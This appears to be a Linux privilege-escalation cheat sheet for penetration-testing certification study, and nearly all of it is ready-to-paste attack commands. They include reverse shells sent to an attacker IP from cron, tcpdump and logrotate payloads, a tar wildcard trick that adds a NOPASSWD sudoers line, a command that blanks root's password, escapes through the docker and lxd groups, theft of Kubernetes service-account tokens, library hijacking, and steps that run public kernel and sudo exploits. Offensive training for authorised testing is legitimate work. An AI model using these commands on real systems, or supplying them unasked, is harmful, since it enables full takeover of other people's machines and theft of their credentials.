Privilege Escalation

Linux Privilege Escalation

The full CPTS Linux privesc playbook, grouped by the class of vector you found: Enumeration → Environment-Based → Permissions-Based → Service-Based → Internals-Based → Recent 0-Days. Covers PATH/wildcard abuse, sudo/SUID/GTFOBins, capabilities, privileged groups, cron, containers, Kubernetes, logrotate, NFS, shared-library and Python hijacking, plus PwnKit/DirtyPipe/Baron Samedit/Netfilter. Every payload is its own copy block.

The flow on every box: enumerate first, then work down the escalation classes. Each section is named for the class of technique inside it, so the Contents panel doubles as a checklist — jump straight to the vector you found.

Enumeration & Recon

Orientation

First commands on every shell:

whoami
id
hostname
ip a
sudo -l

Automated tools

linPEAS (run first, read the red/yellow):

./linpeas.sh -a | tee linpeas.txt

pspy (watch cron + processes without root):

./pspy64 -pf -i 1000

System

OS version:

cat /etc/os-release

Kernel version:

uname -a

Current PATH:

echo $PATH

Environment variables:

env

Login shells available:

cat /etc/shells

Drives and partitions:

lsblk

Mounted filesystems:

df -h

Unmounted filesystems in fstab:

cat /etc/fstab | grep -v "#" | column -t

Routing table:

route

ARP table (who has this host been talking to):

arp -a

Users & groups

Users:

cat /etc/passwd | cut -f1 -d:

Users with a login shell:

grep "sh$" /etc/passwd

Groups (and members of a group):

getent group sudo

Logged-in users:

w

Last login per user:

lastlog

Files, history & scripts

Hidden files belonging to you:

find / -type f -name ".*" -exec ls -l {} \; 2>/dev/null | grep $(whoami)

History files:

find / -type f \( -name *_hist -o -name *_history \) -exec ls -l {} \; 2>/dev/null

Config files:

find / -type f \( -name *.conf -o -name *.config \) -exec ls -l {} \; 2>/dev/null

Shell scripts on the box:

find / -type f -name "*.sh" 2>/dev/null | grep -v "src\|snap\|share"

Processes running as root:

ps aux | grep root

Trace what a binary actually does (syscalls/files it touches):

strace -f -v ./suid_binary 2>&1 | grep -iE "open|read|access|exec"

Credential hunting

Hunt creds in config files:

grep -rniE 'db_user|db_password|password|secret' /etc /var/www 2>/dev/null

SSH keys:

ls -la ~/.ssh

GTFOBins discovery

List installed packages:

apt list --installed | tr "/" " " | cut -d" " -f1,3 | sed 's/[0-9]://g' | tee -a installed_pkgs.list

Cross-check them against GTFOBins:

for i in $(curl -s https://gtfobins.github.io/ | html2text | cut -d" " -f1 | sed '/^[[:space:]]*$/d');do if grep -q "$i" installed_pkgs.list;then echo "Check GTFO for: $i";fi;done

Environment-Based Escalation

Abuse of how the shell resolves commands and arguments.

PATH abuse

Prepend the current dir to PATH:

PATH=.:${PATH}; export PATH

Drop a malicious binary that shadows a real command (e.g. a root script calls ls):

echo 'cp /bin/bash /tmp/rb; chmod +s /tmp/rb' > ls && chmod +x ls

Wildcard abuse (tar)

When a root cron runs tar ... * in a writable dir, create the payload:

echo 'echo "www-data ALL=(root) NOPASSWD: ALL" >> /etc/sudoers' > root.sh

Then the two checkpoint files tar interprets as flags:

echo "" > "--checkpoint-action=exec=sh root.sh"
echo "" > --checkpoint=1

Escaping a restricted shell (rbash/rksh/rzsh)

Inject a command as an argument:

ls -l `pwd`

List files without triggering restrictions:

echo *

Read a file with no cat:

echo $(<flag.txt)

Break out via an editor:

vi
:set shell=/bin/bash
:shell

Permissions-Based Escalation

Misconfigured SUID, sudo, group membership and capabilities.

SUID / SGID

Find SUID binaries (check each on GTFOBins):

find / -user root -perm -4000 -exec ls -ldb {} \; 2>/dev/null

Find SGID binaries:

find / -user root -perm -6000 -exec ls -ldb {} \; 2>/dev/null

Example GTFOBins break-out (apt-get pre-invoke):

sudo apt-get update -o APT::Update::Pre-Invoke::=/bin/sh

Sudo rights abuse

Always start here:

sudo -l

tcpdump with a postrotate command (the script holds a reverse shell):

sudo tcpdump -ln -i eth0 -w /dev/null -W 1 -G 1 -z /tmp/.test -Z root

The postrotate script body:

rm /tmp/f;mkfifo /tmp/f;cat /tmp/f|/bin/sh -i 2>&1|nc <YOUR_IP> 443 >/tmp/f

Privileged groups

docker group - mount the host root and chroot:

docker run -v /:/mnt --rm -it ubuntu chroot /mnt bash

lxd/lxc - import an image. Import:

lxc image import alpine.tar.gz --alias alpine

Init privileged:

lxc init alpine r00t -c security.privileged=true

Mount the host:

lxc config device add r00t mydev disk source=/ path=/mnt/root recursive=true

Start and enter (read /mnt/root):

lxc start r00t && lxc exec r00t /bin/sh

disk group - read the raw filesystem:

debugfs /dev/sda1

adm group - read all logs (hunt flags/creds):

grep -ri --color=always 'password\|flag' /var/log

Capabilities

Enumerate capabilities:

find /usr/bin /usr/sbin /usr/local/bin /usr/local/sbin -type f -exec getcap {} \;

Check one binary:

getcap /usr/bin/vim.basic

cap_setuid on python:

/usr/bin/python3 -c 'import os; os.setuid(0); os.system("/bin/bash")'

cap_dac_override on vim - blank root’s password non-interactively:

echo -e ':%s/^root:[^:]*:/root::/\nwq!' | /usr/bin/vim.basic -es /etc/passwd

Service-Based Escalation

Vulnerable or misconfigured services, scheduled jobs and containers.

Vulnerable services (screen 4.5.0)

Check the version:

screen -v

Then run the public screenroot.sh ld.so.preload exploit (compiles libhax.so + rootshell.c).

Cron job abuse

Find world-writable files (look for cron scripts):

find / -path /proc -prune -o -type f -perm -o+w 2>/dev/null

Watch what root actually runs:

./pspy64 -pf -i 1000

Append a reverse shell to a writable root-run script:

echo 'bash -i >& /dev/tcp/<YOUR_IP>/443 0>&1' >> /path/backup.sh

Passive traffic capture

If you can sniff, capture cleartext creds off the wire:

sudo tcpdump -i any -A 'tcp port 21 or tcp port 110 or tcp port 143'

Docker (shared dir / socket / group)

Loot a host dir mounted into the container (SSH keys):

cat /hostsystem/root/.ssh/id_rsa

A writable docker.sock is root - mount the host:

docker -H unix:///var/run/docker.sock run -v /:/mnt --rm -it ubuntu chroot /mnt bash

List images (docker group):

docker image ls

Kubernetes (kubelet API)

Talk to the API server:

curl https://<TARGET>:6443 -k

List pods via the kubelet:

kubeletctl -i --server <TARGET> pods

Scan pods for RCE:

kubeletctl -i --server <TARGET> scan rce

Run a command in a pod:

kubeletctl -i --server <TARGET> exec "id" -p <pod> -c <container>

Steal the service-account token:

kubeletctl -i --server <TARGET> exec "cat /var/run/secrets/kubernetes.io/serviceaccount/token" -p <pod> -c <container> | tee k8.token

Check what the token can do:

kubectl --token=$token --certificate-authority=ca.crt --server=https://<TARGET>:6443 auth can-i --list

Then deploy a pod that hostPath-mounts / to read the host (privesc.yaml).

Logrotate (logrotten)

Build the exploit:

gcc logrotten.c -o logrotten

Payload:

echo 'bash -i >& /dev/tcp/<YOUR_IP>/9001 0>&1' > payload

Check create vs compress:

grep "create\|compress" /etc/logrotate.conf | grep -v "#"

Run it:

./logrotten -p ./payload /tmp/tmp.log

NFS no_root_squash

List exports:

showmount -e <TARGET>

Mount, then (as local root) drop a SUID /bin/bash-spawning binary compiled from C:

gcc shell.c -o shell && chmod +s shell

On the target, run it for root:

./shell

tmux session hijack

Find shared tmux sockets owned by a group you can reach:

ls -la /tmp/shareds 2>/dev/null; ps aux | grep tmux

Attach to the root session:

tmux -S /shareds

Internals-Based Escalation

Kernel bugs and library/loader hijacking.

Kernel exploits

Identify the kernel:

uname -a

Compile and run a matched PoC:

gcc kernel_exploit.c -o kernel_exploit && chmod +x kernel_exploit && ./kernel_exploit

LD_PRELOAD (via sudo)

Compile a malicious shared object (root.c calls setuid(0)/system):

gcc -fPIC -shared -o /tmp/root.so root.c -nostartfiles

Run an allowed sudo binary with it:

sudo LD_PRELOAD=/tmp/root.so apache2

Shared object hijacking (RUNPATH)

Check a SUID binary’s libraries and runpath:

ldd ./payroll
readelf -d ./payroll | grep PATH

Compile your own .so with the missing function into the writable RUNPATH dir:

gcc src.c -fPIC -shared -o /development/libshared.so

Python library hijacking (PYTHONPATH)

List Python’s import search path:

python3 -c 'import sys; print("\n".join(sys.path))'

Where a module is installed:

pip3 show psutil

Plant a malicious module (psutil.py) in a higher-priority writable dir:

echo 'import os' > psutil.py; echo 'def virtual_memory(): os.system("id")' >> psutil.py

Or set PYTHONPATH if sudo -l shows SETENV:

sudo PYTHONPATH=/tmp/ /usr/bin/python3 ./mem_status.py

Recent 0-Days

Try these last (loud and version-specific).

PwnKit (pkexec, CVE-2021-4034)

git clone https://github.com/arthepsy/CVE-2021-4034.git && cd CVE-2021-4034 && gcc cve-2021-4034-poc.c -o poc && ./poc

DirtyPipe (CVE-2022-0847)

Check version first:

uname -r
./exploit-1

Baron Samedit (sudo CVE-2021-3156)

Check version:

sudo -V | head -n1
./sudo-hax-me-a-sandwich 1

Sudo policy bypass (CVE-2019-14287)

When sudo -l allows (ALL) /usr/bin/id:

sudo -u#-1 id

Netfilter (CVE-2021-22555)

gcc -m32 -static exploit.c -o exploit && ./exploit

Order of effort: sudo -l and SUID/GTFOBins first, then cron/writable + groups, then capabilities, PATH/wildcard, shared-lib/Python hijacking, then kernel and 0-days last.